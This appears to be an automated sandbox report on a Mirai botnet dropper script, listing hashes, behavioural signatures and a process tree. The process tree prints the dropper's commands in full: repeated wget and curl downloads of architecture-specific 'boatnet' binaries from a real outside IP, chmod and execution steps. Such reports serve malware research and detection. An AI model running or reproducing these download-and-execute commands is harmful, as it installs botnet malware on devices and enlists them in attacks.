Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22-01-2025 05:59

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    a04231d2572fe53296e84de33494e755

  • SHA1

    858cf66fac781dde0b6be798bec7976b36d91826

  • SHA256

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

  • SHA512

    3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:646
    • /usr/bin/wget
      wget http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:654
    • /usr/bin/curl
      curl -O http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:661
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:671
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:673
      • /usr/bin/wget
        wget http://193.200.78.24/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:676
      • /usr/bin/curl
        curl -O http://193.200.78.24/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:680
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:683
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
        2⤵
        • File and Directory Permissions Modification
        PID:684
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:685
      • /usr/bin/wget
        wget http://193.200.78.24/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:688
      • /usr/bin/curl
        curl -O http://193.200.78.24/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:689
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:690
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:692
        • /usr/bin/wget
          wget http://193.200.78.24/hiddenbin/boatnet.i468
          2⤵
            PID:694
          • /usr/bin/curl
            curl -O http://193.200.78.24/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:697
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:701
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:703
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:704
            • /usr/bin/wget
              wget http://193.200.78.24/hiddenbin/boatnet.i686
              2⤵
                PID:705
              • /usr/bin/curl
                curl -O http://193.200.78.24/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:709
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:713
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:714
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:715
                • /usr/bin/wget
                  wget http://193.200.78.24/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:716
                  • /usr/bin/curl
                    curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:720
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:724
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:725
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:726
                    • /usr/bin/wget
                      wget http://193.200.78.24/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:727
                    • /usr/bin/curl
                      curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:732
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:737
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:738
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:739
                      • /usr/bin/wget
                        wget http://193.200.78.24/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:742
                      • /usr/bin/curl
                        curl -O http://193.200.78.24/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:747
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:752
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:754
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:756
                        • /usr/bin/wget
                          wget http://193.200.78.24/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:760
                        • /usr/bin/curl
                          curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:764
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:769
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:770
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:771
                          • /usr/bin/wget
                            wget http://193.200.78.24/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:772
                          • /usr/bin/curl
                            curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:774
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:775
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:776
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:777
                            • /usr/bin/wget
                              wget http://193.200.78.24/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:778
                            • /usr/bin/curl
                              curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:779
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:786
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:787
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:788
                              • /usr/bin/wget
                                wget http://193.200.78.24/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:793
                              • /usr/bin/curl
                                curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:797
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:804
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:806
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:808
                                • /usr/bin/wget
                                  wget http://193.200.78.24/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:810
                                • /usr/bin/curl
                                  curl -O http://193.200.78.24/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:813
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:818
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:820
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:821
                                  • /usr/bin/wget
                                    wget http://193.200.78.24/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:824
                                  • /usr/bin/curl
                                    curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:827
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:832
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:833
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:834
                                    • /usr/bin/wget
                                      wget http://193.200.78.24/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:836
                                    • /usr/bin/curl
                                      curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:837
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:838
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-10bb08c3698345e6b8fd7957ae83b55b-systemd-timedated.service-TxMwuc WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:839
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:840

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      419af9271063995aa7d8e36f7b9431cc

                                      SHA1

                                      048cefabc4702f4f301aba13a453592f862dac99

                                      SHA256

                                      7361c9bd5f6688bc9de5c6bd9ca7164edb537ccb08aa9c7522a620d4f410fba1

                                      SHA512

                                      eae11b558875bcd46845788e7b0a84ce9c97b80aa4909e34412bb9b9db449bd418421f14db3436adc53483737d21fe69b27a57f2098b24e27d0803d5fe01aa52

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      b209d553a02a0ad088f5b52e2bdda33d

                                      SHA1

                                      68260c4d8152a82a2df6dfd092969c81a4123431

                                      SHA256

                                      704c974b3616dd65eb799023471d933811e2cb7d8704e5e8eadba78d9c92b70f

                                      SHA512

                                      37814c4053a35e49907860f061ebbb715391e7f4a00d46ea96591673e94be73d4b032245b2289f60871f1ff870bce293cf12fbc8e7f806179fd068d57b5d6f50

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      813a453dcd16f3dabca9d11459e89328

                                      SHA1

                                      5180409485d6704faee3ab3378b71c1fc1512ac9

                                      SHA256

                                      e5af9a223519bafc9f55798d33802a0fe33ada434e7055ad616d50d24e9ddcba

                                      SHA512

                                      db98c29a1aa5ffc80bc398a3844521276abb9e52bd66675fdbc0e607e7a7539f5a01a0a458ad48285b82d5270db3a392e6950bf357766de2a110778bb7579b37

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      911aa101a1f5c919712ab954d0dfaa3f

                                      SHA1

                                      6778ae6880057cbcebe3a593ee3115ae7eae2847

                                      SHA256

                                      30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

                                      SHA512

                                      981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33